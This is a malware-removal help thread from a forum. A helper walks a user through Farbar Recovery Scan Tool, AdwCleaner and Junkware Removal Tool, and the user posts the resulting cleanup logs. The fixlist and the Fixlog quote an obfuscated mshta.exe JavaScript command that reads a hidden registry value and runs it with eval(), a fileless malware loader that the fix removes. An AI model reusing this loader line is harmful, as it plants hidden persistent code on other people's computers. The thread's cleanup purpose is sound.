es4245
Topic Starter
My system keeps detecting kotverign2 but don't seem to be able to fully remove it. Seems to be chasing it around in circle.
Please see my logs hope you can help.
Spyware / Malware / Virus Removal
kotverign2 detected
6 min read
Juliet
Please go to your add/remove programs list
Look for and if found uninstall/delete Java 1.8.0_31
We can download the most current version later if needed.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~``
Please open Notepad *Do Not Use Wordpad!* or use any other text editor than Notepad or the script will fail. (Start -> Run -> type notepad in the Open field -> OK) and copy and paste the text present inside the quote box below:
To do this highlight the contents of the box and right click on it and select copy.
Paste this into the open notepad. save it to the Desktop as fixlist.txt
NOTE. It's important that both files, FRST/FRST64 and fixlist.txt are in the same location or the fix will not work.
It needs to be saved Next to the "Farbar Recovery Scan Tool" (If asked to overwrite existing one please allow)
[external image: FRSTfix.JPG]
Open FRST/FRST64 and press the > Fix < button just once and wait.
If for some reason the tool needs a restart, please make sure you let the system restart normally. After that let the tool complete its run.
When finished FRST will generate a log on the Desktop (Fixlog.txt). Please post it to your reply.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~`
[external image: BY4dvz9.png]AdwCleaner
=================================
Please download Junkware Removal Tool
or from here http://downloads.malwarebytes.org/file/jrt
to your desktop.
please post
Fixlog.txt
AdwCleaner[C1].txt
JRT.txt
Look for and if found uninstall/delete Java 1.8.0_31
We can download the most current version later if needed.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~``
Please open Notepad *Do Not Use Wordpad!* or use any other text editor than Notepad or the script will fail. (Start -> Run -> type notepad in the Open field -> OK) and copy and paste the text present inside the quote box below:
To do this highlight the contents of the box and right click on it and select copy.
Paste this into the open notepad. save it to the Desktop as fixlist.txt
NOTE. It's important that both files, FRST/FRST64 and fixlist.txt are in the same location or the fix will not work.
It needs to be saved Next to the "Farbar Recovery Scan Tool" (If asked to overwrite existing one please allow)
[external image: FRSTfix.JPG]
start
CreateRestorePoint:
CloseProcesses:
GroupPolicy: Restriction ? <======= ATTENTION
HKU\S-1-5-21-4147716943-903763243-1518506203-1001\…\Run: [**ikgg<*>] => "C:\Users\Dads\AppData\Local\778a04\5d33fd.lnk" <===== ATTENTION (Value Name with invalid characters)
HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer: Restriction <======= ATTENTION
HKU\S-1-5-21-4147716943-903763243-1518506203-1001\SOFTWARE\Policies\Microsoft\Internet Explorer: Restriction <======= ATTENTION
SearchScopes: HKU\.DEFAULT -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL =
BHO: Norton Vulnerability Protection -> {6D53EC84-6AAE-4787-AEEE-F4628F01010C} -> C:\Program Files\Norton Security Suite\Engine\21.7.0.11\IPS\IPSBHO.DLL => No File
BHO: Javaâ„¢ Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Program Files\Java\jre1.8.0_31\bin\ssv.dll [2015-01-20] (Oracle Corporation)
BHO: Javaâ„¢ Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files\Java\jre1.8.0_31\bin\jp2ssv.dll [2015-01-20] (Oracle Corporation)
U3 idsvc; no ImagePath
U3 wpcsvc; no ImagePath
Task: {0D168469-B9D2-4C87-9935-6224C3F9377E} - \Microsoft\Windows\Setup\gwx\launchtrayprocess -> No File <==== ATTENTION
Task: {2448AFC6-A391-49C8-8FD0-388F6377F2C4} - \Microsoft\Windows\Setup\GWXTriggers\OutOfSleep-5d -> No File <==== ATTENTION
Task: {2881AFFC-809F-45B9-A1E9-E947E32B9812} - \Microsoft\Windows\Setup\gwx\rundetector -> No File <==== ATTENTION
Task: {2CEB6E86-4B79-4D01-981B-5EC52A8C255D} - \Microsoft\Windows\Setup\GWXTriggers\MachineUnlock-5d -> No File <==== ATTENTION
Task: {5CD792D1-9091-4879-8678-08363D5FB711} - \Microsoft\Windows\Setup\gwx\refreshgwxconfig -> No File <==== ATTENTION
Task: {5FF2670C-81CC-4887-A504-28E85A08DED6} - \Microsoft\Windows\Setup\GWXTriggers\ScheduleUpgradeReminderTime -> No File <==== ATTENTION
Task: {66CF7714-7364-436C-9082-72784505FCD9} - \Microsoft\Windows\Setup\gwx\refreshgwxcontent -> No File <==== ATTENTION
Task: {9D1C7BCF-A383-4262-A31F-193D6C19F1C7} - \Microsoft\Windows\Setup\GWXTriggers\Logon-5d -> No File <==== ATTENTION
Task: {A1D4F525-1E89-4E07-AE5B-12C2F334CEA7} - \Microsoft\Windows\Setup\GWXTriggers\OnIdle-5d -> No File <==== ATTENTION
Task: {BBAADCAD-CA14-4AF1-80C6-F5E083813B36} - \Microsoft\Windows\Setup\gwx\refreshgwxconfigandcontent -> No File <==== ATTENTION
Task: {D1BF400D-9557-4128-A59D-371EAFB982CC} - \Microsoft\Windows\Setup\GWXTriggers\Time-5d -> No File <==== ATTENTION
HKU\S-1-5-21-4147716943-903763243-1518506203-1001\Software\Classes\9f7c2d: "C:\WINDOWS\system32\mshta.exe" "javascript:i8xcPd3="H";f6X=new ActiveXObject("WScript.Shell");iU7FCR7c="b7257";kIIw16=f6X.RegRead("HKCU\\software\\iggevlrdi\\eofr");yF7BVX="vDYTG";eval(kIIw16);xjAJnW4i0="M9x18Hd";" <===== ATTENTION
EmptyTemp:
Hosts:
End
Open FRST/FRST64 and press the > Fix < button just once and wait.
If for some reason the tool needs a restart, please make sure you let the system restart normally. After that let the tool complete its run.
When finished FRST will generate a log on the Desktop (Fixlog.txt). Please post it to your reply.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~`
[external image: BY4dvz9.png]AdwCleaner
- Please download AdwCleaner and save the file to your Desktop.
In order to use AdwCleaner, you have to agree the Eula: - Right-click AdwCleaner.exe and select [external image: AVOiBNU.jpg] Run as administrator to run the programme.
- Follow the prompts.
- Click [external image: A49sxPr.png]Scan.
- Upon completion, click [external image: 6cyn5v5.png]Logfile. A log (AdwCleaner[S1].txt) will open. Briefly check the log for anything you know to be legitimate.
- Return to AdwCleaner. Ensure anything you know to be legitimate does not have a checkmark under the corresponding tab.
- Click [external image: MqHawIb.png]Clean.
- Follow the prompts and allow your computer to reboot.
- After the reboot, a log (AdwCleaner[C1].txt) will open. Copy the contents of the log and paste in your next reply.
=================================
Please download Junkware Removal Tool
or from here http://downloads.malwarebytes.org/file/jrt
to your desktop.
- Shut down your protection software now to avoid potential conflicts.
- Run the tool by double-clicking it. If you are using Windows Vista, 7, or 8; instead of double-clicking, right-mouse click JRT.exe and select "Run as Administrator".
- The tool will open and start scanning your system.
- Please be patient as this can take a while to complete depending on your system's specifications.
- On completion, a log (JRT.txt) is saved to your desktop and will automatically open.
- Post the contents of JRT.txt into your next message.
please post
Fixlog.txt
AdwCleaner[C1].txt
JRT.txt
es4245
Here are my new log files.
Thanks for your help
Junkware Removal Tool (JRT) by Malwarebytes
Version: 8.0.9 (09.30.2016)
Operating System: Windows 10 Home x86
Ran by [removed] (Administrator) on Sat 10/08/2016 at 11:40:12.97
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
File System: 16
Failed to delete: C:\ai_recyclebin (Folder)
Successfully deleted: C:\Program Files\mozilla firefox\defaults\pref\itms.js (File)
Successfully deleted: C:\ProgramData\strongvault online backup (Folder)
Successfully deleted: C:\Users\Dads\AppData\Local\{141C50EC-8C9E-4BF7-B024-C9878685F0B8} (Empty Folder)
Successfully deleted: C:\Users\Dads\AppData\Local\{377C019D-965E-4118-8444-72267DC779ED} (Empty Folder)
Successfully deleted: C:\Users\Dads\AppData\Local\{40FC1AF9-AEE6-4261-AFF4-C2DB7B09797A} (Empty Folder)
Successfully deleted: C:\Users\Dads\AppData\Local\{6DBDFDCD-7049-4851-81CF-A39787D77D3B} (Empty Folder)
Successfully deleted: C:\Users\Dads\AppData\Local\{7296DD09-7942-4130-B2EA-0E90EA7D20B6} (Empty Folder)
Successfully deleted: C:\Users\Dads\AppData\Local\{AAB0B6D1-1CB5-45CE-A652-D43D4E867C1D} (Empty Folder)
Successfully deleted: C:\Users\Dads\AppData\Local\{BFEF3628-8E88-484D-9472-BD90E3D6A483} (Empty Folder)
Successfully deleted: C:\Users\Dads\AppData\Local\{EC0969C0-EEA4-450C-A8F7-D4CACE846CFB} (Empty Folder)
Successfully deleted: C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\4st1tlx8.Default User 3\searchplugins\norton-safe-search.xml (File)
Successfully deleted: C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\conduit.xml (File)
Successfully deleted: C:\WINDOWS\System32\ai_recyclebin (Folder)
Successfully deleted: C:\WINDOWS\System32\Tasks\PCDEventLauncherTask (Task)
Successfully deleted: C:\WINDOWS\System32\Tasks\PCDoctorBackgroundMonitorTask (Task)
Registry: 2
Successfully deleted: HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{180780f0-b348-4b44-8210-94a8f3ee15b2} (Registry Key)
Successfully deleted: HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{3A2D5EBA-F86D-4BD3-A177-019765996711} (Registry Key)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Scan was completed on Sat 10/08/2016 at 11:43:13.25
End of JRT log
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Fix result of Farbar Recovery Scan Tool (x86) Version: 04-10-2016
Ran by [removed] (08-10-2016 10:45:10) Run:1
Running from C:\Users\[removed]\Desktop
[removed]
Boot Mode: Normal
==============================================
fixlist content:
*****************
start
CreateRestorePoint:
CloseProcesses:
GroupPolicy: Restriction ? <======= ATTENTION
HKU\S-1-5-21-4147716943-903763243-1518506203-1001\…\Run: [**ikgg<*>] => "C:\Users\Dads\AppData\Local\778a04\5d33fd.lnk" <===== ATTENTION (Value Name with invalid characters)
HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer: Restriction <======= ATTENTION
HKU\S-1-5-21-4147716943-903763243-1518506203-1001\SOFTWARE\Policies\Microsoft\Internet Explorer: Restriction <======= ATTENTION
SearchScopes: HKU\.DEFAULT -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL =
BHO: Norton Vulnerability Protection -> {6D53EC84-6AAE-4787-AEEE-F4628F01010C} -> C:\Program Files\Norton Security Suite\Engine\21.7.0.11\IPS\IPSBHO.DLL => No File
BHO: Javaâ„¢ Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Program Files\Java\jre1.8.0_31\bin\ssv.dll [2015-01-20] (Oracle Corporation)
BHO: Javaâ„¢ Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files\Java\jre1.8.0_31\bin\jp2ssv.dll [2015-01-20] (Oracle Corporation)
U3 idsvc; no ImagePath
U3 wpcsvc; no ImagePath
Task: {0D168469-B9D2-4C87-9935-6224C3F9377E} - \Microsoft\Windows\Setup\gwx\launchtrayprocess -> No File <==== ATTENTION
Task: {2448AFC6-A391-49C8-8FD0-388F6377F2C4} - \Microsoft\Windows\Setup\GWXTriggers\OutOfSleep-5d -> No File <==== ATTENTION
Task: {2881AFFC-809F-45B9-A1E9-E947E32B9812} - \Microsoft\Windows\Setup\gwx\rundetector -> No File <==== ATTENTION
Task: {2CEB6E86-4B79-4D01-981B-5EC52A8C255D} - \Microsoft\Windows\Setup\GWXTriggers\MachineUnlock-5d -> No File <==== ATTENTION
Task: {5CD792D1-9091-4879-8678-08363D5FB711} - \Microsoft\Windows\Setup\gwx\refreshgwxconfig -> No File <==== ATTENTION
Task: {5FF2670C-81CC-4887-A504-28E85A08DED6} - \Microsoft\Windows\Setup\GWXTriggers\ScheduleUpgradeReminderTime -> No File <==== ATTENTION
Task: {66CF7714-7364-436C-9082-72784505FCD9} - \Microsoft\Windows\Setup\gwx\refreshgwxcontent -> No File <==== ATTENTION
Task: {9D1C7BCF-A383-4262-A31F-193D6C19F1C7} - \Microsoft\Windows\Setup\GWXTriggers\Logon-5d -> No File <==== ATTENTION
Task: {A1D4F525-1E89-4E07-AE5B-12C2F334CEA7} - \Microsoft\Windows\Setup\GWXTriggers\OnIdle-5d -> No File <==== ATTENTION
Task: {BBAADCAD-CA14-4AF1-80C6-F5E083813B36} - \Microsoft\Windows\Setup\gwx\refreshgwxconfigandcontent -> No File <==== ATTENTION
Task: {D1BF400D-9557-4128-A59D-371EAFB982CC} - \Microsoft\Windows\Setup\GWXTriggers\Time-5d -> No File <==== ATTENTION
HKU\S-1-5-21-4147716943-903763243-1518506203-1001\Software\Classes\9f7c2d: "C:\WINDOWS\system32\mshta.exe" "javascript:i8xcPd3="H";f6X=new ActiveXObject("WScript.Shell");iU7FCR7c="b7257";kIIw16=f6X.RegRead("HKCU\\software\\iggevlrdi\\eofr");yF7BVX="vDYTG";eval(kIIw16);xjAJnW4i0="M9x18Hd";" <===== ATTENTION
EmptyTemp:
Hosts:
End
*****************
Restore point was successfully created.
Processes closed successfully.
C:\WINDOWS\system32\GroupPolicy\Machine => moved successfully
C:\WINDOWS\system32\GroupPolicy\GPT.ini => moved successfully
HKU\S-1-5-21-4147716943-903763243-1518506203-1001\Software\Microsoft\Windows\CurrentVersion\Run\\**ikgg<*> => value removed successfully.
"HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer" => key removed successfully.
"HKU\S-1-5-21-4147716943-903763243-1518506203-1001\SOFTWARE\Policies\Microsoft\Internet Explorer" => key removed successfully.
HKU\.DEFAULT\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\\DefaultScope => value removed successfully.
"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{6D53EC84-6AAE-4787-AEEE-F4628F01010C}" => key removed successfully.
"HKCR\CLSID\{6D53EC84-6AAE-4787-AEEE-F4628F01010C}" => key removed successfully.
"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{761497BB-D6F0-462C-B6EB-D4DAF1D92D43}" => key removed successfully.
"HKCR\CLSID\{761497BB-D6F0-462C-B6EB-D4DAF1D92D43}" => key removed successfully.
"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{DBC80044-A445-435b-BC74-9C25C1C588A9}" => key removed successfully.
"HKCR\CLSID\{DBC80044-A445-435b-BC74-9C25C1C588A9}" => key removed successfully.
idsvc => service removed successfully.
wpcsvc => service removed successfully.
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Logon\{0D168469-B9D2-4C87-9935-6224C3F9377E}" => key removed successfully.
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{0D168469-B9D2-4C87-9935-6224C3F9377E}" => key removed successfully.
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\Setup\gwx\launchtrayprocess" => key removed successfully.
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{2448AFC6-A391-49C8-8FD0-388F6377F2C4}" => key removed successfully.
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{2448AFC6-A391-49C8-8FD0-388F6377F2C4}" => key removed successfully.
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\Setup\GWXTriggers\OutOfSleep-5d" => key removed successfully.
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{2881AFFC-809F-45B9-A1E9-E947E32B9812}" => key removed successfully.
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{2881AFFC-809F-45B9-A1E9-E947E32B9812}" => key removed successfully.
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\Setup\gwx\rundetector" => key removed successfully.
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{2CEB6E86-4B79-4D01-981B-5EC52A8C255D}" => key removed successfully.
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{2CEB6E86-4B79-4D01-981B-5EC52A8C255D}" => key removed successfully.
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\Setup\GWXTriggers\MachineUnlock-5d" => key removed successfully.
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{5CD792D1-9091-4879-8678-08363D5FB711}" => key removed successfully.
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{5CD792D1-9091-4879-8678-08363D5FB711}" => key removed successfully.
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\Setup\gwx\refreshgwxconfig" => key removed successfully.
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{5FF2670C-81CC-4887-A504-28E85A08DED6}" => key removed successfully.
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{5FF2670C-81CC-4887-A504-28E85A08DED6}" => key removed successfully.
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\Setup\GWXTriggers\ScheduleUpgradeReminderTime" => key removed successfully.
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{66CF7714-7364-436C-9082-72784505FCD9}" => key removed successfully.
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{66CF7714-7364-436C-9082-72784505FCD9}" => key removed successfully.
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\Setup\gwx\refreshgwxcontent" => key removed successfully.
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Logon\{9D1C7BCF-A383-4262-A31F-193D6C19F1C7}" => key removed successfully.
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{9D1C7BCF-A383-4262-A31F-193D6C19F1C7}" => key removed successfully.
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\Setup\GWXTriggers\Logon-5d" => key removed successfully.
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{A1D4F525-1E89-4E07-AE5B-12C2F334CEA7}" => key removed successfully.
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{A1D4F525-1E89-4E07-AE5B-12C2F334CEA7}" => key removed successfully.
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\Setup\GWXTriggers\OnIdle-5d" => key removed successfully.
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{BBAADCAD-CA14-4AF1-80C6-F5E083813B36}" => key removed successfully.
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{BBAADCAD-CA14-4AF1-80C6-F5E083813B36}" => key removed successfully.
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\Setup\gwx\refreshgwxconfigandcontent" => key removed successfully.
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{D1BF400D-9557-4128-A59D-371EAFB982CC}" => key removed successfully.
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{D1BF400D-9557-4128-A59D-371EAFB982CC}" => key removed successfully.
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\Setup\GWXTriggers\Time-5d" => key removed successfully.
"HKU\S-1-5-21-4147716943-903763243-1518506203-1001\Software\Classes\9f7c2d" => key removed successfully.
C:\Windows\System32\Drivers\etc\hosts => moved successfully
Hosts restored successfully.
=========== EmptyTemp: ==========
BITS transfer queue => 2484228 B
DOMStoree, IE Recovery, AppCache, Feeds Cache, Thumbcache, IconCache => 109537481 B
Java, Flash, Steam htmlcache => 87249 B
Windows/system/drivers => 39980086 B
Edge => 0 B
Chrome => 595669882 B
Firefox => 1166651766 B
Opera => 0 B
Temp, IE cache, history, cookies, recent:
Default => 0 B
ProgramData => 0 B
Public => 0 B
systemprofile => 0 B
LocalService => 62214 B
NetworkService => 24768 B
Dads => 732654987 B
DefaultAppPool => 0 B
RecycleBin => 216540221 B
EmptyTemp: => 2.7 GB temporary data Removed.
================================
The system needed a reboot.
==== End of Fixlog 10:58:38 ====
AdwCleaner v6.021 - Logfile created 08/10/2016 at 11:24:37
# Updated on 06/10/2016 by ToolsLib
# Database : 2016-10-07.1 [Server]
# Operating System : Windows 10 Home (X86)
# Username : Dads - DADS-PC
# Running from : C:\Users\Dads\Desktop\AdwCleaner.exe
# Mode: Clean
# Support : https://toolslib.net/forum
***** [ Services ] *****
***** [ Folders ] *****
[-] Folder deleted: C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\Smartbar
[-] Folder deleted: C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\extensions\jid1-yZwVFzbsyfMrqQ@jetpack
[-] Folder deleted: C:\Users\Dads\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klibnahbojhkanfgaglnlalfkgpcppfi
[-] Folder deleted: C:\Users\Dads\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mbmpjbkgemhgalmeiigcdljkccfcafoj
[-] Folder deleted: C:\Users\Dads\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pbjikboenpfhbbejgkoklgkhjpfogcam
[-] Folder deleted: C:\Users\Dads\AppData\Local\Google\Chrome\User Data\Default\Extensions\peglehonblabfemopkgmfcpofbchegcl
***** [ Files ] *****
[-] File deleted: C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\searchplugins\safesearch.xml
***** [ DLL ] *****
***** [ WMI ] *****
***** [ Shortcuts ] *****
***** [ Scheduled Tasks ] *****
***** [ Registry ] *****
[-] Key deleted: HKCU\Software\Microsoft\Internet Explorer\DOMStorage\gamingwonderland.com
[-] Key deleted: HKCU\Software\Microsoft\Internet Explorer\DOMStorage\mywebface.com
[-] Key deleted: HKCU\Software\Microsoft\Internet Explorer\DOMStorage\www.gamingwonderland.com
[-] Key deleted: HKCU\Software\Microsoft\Internet Explorer\DOMStorage\www.zwinky.com
[-] Key deleted: HKCU\Software\Microsoft\Internet Explorer\DOMStorage\zwinky.com
[-] Key deleted: HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\WebCakeUpdaterService
[-] Key deleted: HKLM\SOFTWARE\Classes\AmiBs.Boot
[-] Key deleted: HKLM\SOFTWARE\Classes\AppID\{56AD7EEE-D6C0-410E-8A7B-811DEA764554}
[-] Key deleted: HKLM\SOFTWARE\Classes\AppID\{E8EB2F1F-661E-4A7F-8F9A-77DEB757A906}
[-] Key deleted: HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{9522B3FB-7A2B-4646-8AF6-36E7F593073C}
[-] Value deleted: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Ext\CLSID [{6492E171-2427-4932-B414-33574A089F5E}]
[-] Key deleted: HKLM\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{9522B3FB-7A2B-4646-8AF6-36E7F593073C}
[-] Key deleted: HKU\.DEFAULT\Software\IBUpdaterService
[-] Key deleted: HKU\.DEFAULT\Software\AppDataLow\Software\_CrossriderRegNamePlaceHolder_
[-] Key deleted: HKU\S-1-5-21-4147716943-903763243-1518506203-1001\Software\Kromtech
[-] Key deleted: HKU\S-1-5-21-4147716943-903763243-1518506203-1001\Software\Linkey
[-] Key deleted: HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\REGISTRY\USER\S-1-5-21-4147716943-903763243-1518506203-1001\Software\Alexa Internet
[#] Key deleted on reboot: HKU\S-1-5-18\Software\IBUpdaterService
[#] Key deleted on reboot: HKU\S-1-5-18\Software\AppDataLow\Software\_CrossriderRegNamePlaceHolder_
[#] Key deleted on reboot: HKCU\Software\Kromtech
[#] Key deleted on reboot: HKCU\Software\Linkey
[-] Key deleted: HKLM\SOFTWARE\Kromtech
[-] Key deleted: HKU\S-1-5-21-4147716943-903763243-1518506203-1001\Software\Microsoft\Internet Explorer\SearchScopes\{AFBCB7E0-F91A-4951-9F31-58FEE57A25C4}
[#] Key deleted on reboot: HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{AFBCB7E0-F91A-4951-9F31-58FEE57A25C4}
[-] Key deleted: HKCU\Software\Microsoft\Internet Explorer\DOMStorage\4yendex.com
[-] Key deleted: HKCU\Software\Microsoft\Internet Explorer\DOMStorage\inbox.com
[-] Key deleted: HKCU\Software\Microsoft\Internet Explorer\DOMStorage\itibitiphone.com
***** [ Web browsers ] *****
[-] Chrome preferences cleaned: "CT3279411.1000082.isPlayDisplay" - "true"
[-] Chrome preferences cleaned: "CT3279411.1000082.state" - "{\"state\":\"stopped\",\"text\":\"1.FM (Cou…\",\"description\":\"1.FM (Country)\",\"url\":\"hxxp://1.fm/wm/energycountry32k.asx\"}"
[-] Chrome preferences cleaned: "CT3279411.CT3279411ads1.enc" - "JTdCJTIyYWRzJTIyJTNBJTVCJTdCJTIyYWlkJTIyJTNBJTIyMzY2ODElMjIlMkMlMjJ0aXRsZSUyMiUzQSUyMiolMjBSZXBhaXIlMjAlMjg4OCUyOSUyMFBDJTIwRXJyb3JzJTIwKiUyMiUyQyUyMmFkdGV4dDElMjIlM0ElMjJGaXglMjBBbGwlMjBFcnJvcnMlMjAlMjYlMjBPcHRpbWl6ZSUyMFlvdXIlMjBQQyUyMCV1MjIxQSUyMiUyQyUyMmFkdGV4dDIlMjIlM0ElMjJGcmVlJTIwU3lzdGVtJTIwU2Nhbi4lMjBEb3dubG9hZCUyME5vdyUyMSUyMiUyQyUyMmRpc3B1cmwlMjIlM0ElMjJQZXJmb3JtZXJTb2Z0LmNvbSUyMiUyQyUyMmF0JTIyJTNBJTIycyUyMiUyQyUyMmFyJTIyJTNBJTIydCUyMiUyQyUyMnVybCUyMiUzQSUyMmh0dHAlM0EvL2Nsa2Fkcy5jb20vYWRTZXJ2ZS9hZENsaWNrJTNGYWklM0RjQmNkJTI1MkJ3U29FTyUyNTJGQ3htQXlZeXo4WG9ZJTI1MkZOeG96VUtOWktYVDdKendhYkIwTkt2TmhUQzVFJTI1MkZWUkFiY1I5STdUUXdZS0JWQ1pQYURjSSUyNTBBdSUyNTJGZ09zU2doa2clMjUzRCUyNTNEJTI2dWklM0RycjU3SGhPTUphcFUydTZjSThybnppeHE2WWRCSFhESjU4Nkh2cE0lMjUyQm0xVEVrcmcxQ0piOEF6UjFyNmR4MzBkNiUyMiUyQyUyMmRpciUyMiUzQSUyMmx0ciUyMiU3RCUyQyU3QiUyMmFpZCUyMiUzQSUyMjEwNjc3MiUyMiUyQyUyMnRpdGxlJTIyJTNBJTIyJXUyNzA4U3BlZWQlMjBVcCUyMFlvdXIlMjBJbnRlcm5ldCV1MjcwOCUyMiUyQyUyMmFkdGV4dDElMjIlM0ElMjJPcHRpbWl6ZSUyMCUyNiUyMEJvb3N0JTIwUEMlMjBpbiUyMDElMjBDbGljay4lMjIlMkMlMjJhZHRleHQyJTIyJTNBJTIyRmFzdCUyQyUyMEVhc3klMkMlMjA1JTIwU3RhciUyMFVzZXIlMjBSYXRlZCUyMSUyMiUyQyUyMmRpc3B1cmwlMjIlM0ElMjJTcGVlZEFuYWx5c2lzLm5ldCUyMiUyQyUyMmF0JTIyJTNBJTIycyUyMiUyQyUyMmFyJTIyJTNBJTIydCUyMiUyQyUyMnVybCUyMiUzQSUyMmh0dHAlM0EvL2Nsa2Fkcy5jb20vYWRTZXJ2ZS9hZENsaWNrJTNGYWklM0Q1ZHBVN09ybnJEa2RIdVFDZVo4YnpFWld3SkJEY2FNSW5TOHFXU1FYTU95SDlmRSUyNTJGUXFSNmdrN05NQWUyYXFGVzkyNVRLMnBraFU3VyUyNTBBc3ZIckFiS1NnQSUyNTNEJTI1M0QlMjZ1aSUzRHJyNTdIaE9NSmFwVTJ1NmNJOHJueml4cTZZZEJIWERKNTg2SHZwTSUyNTJCbTFURWtyZzFDSmI4QXpSMXI2ZHgzMGQ2JTIyJTJDJTIyZGlyJTIyJTNBJTIybHRyJTIyJTdEJTVEJTJDJTIyc3IlMjIlM0ExJTJDJTIyc2N2JTIyJTNBJTIybiUyMiU3RA=="
[-] Chrome preferences cleaned: "CT3279411.CT3279411current_term.enc" - ""
[-] Chrome preferences cleaned: "CT3279411.CT3279411sdate.enc" - "OQ=="
[-] Chrome preferences cleaned: "CT3279411.ENABALE_HISTORY" - "{\"dataType\":\"string\",\"data\":\"true\"}"
[-] Chrome preferences cleaned: "CT3279411.ENABLE_RETURN_WEB_SEARCH_ON_THE_PAGE" - "{\"dataType\":\"string\",\"data\":\"true\"}"
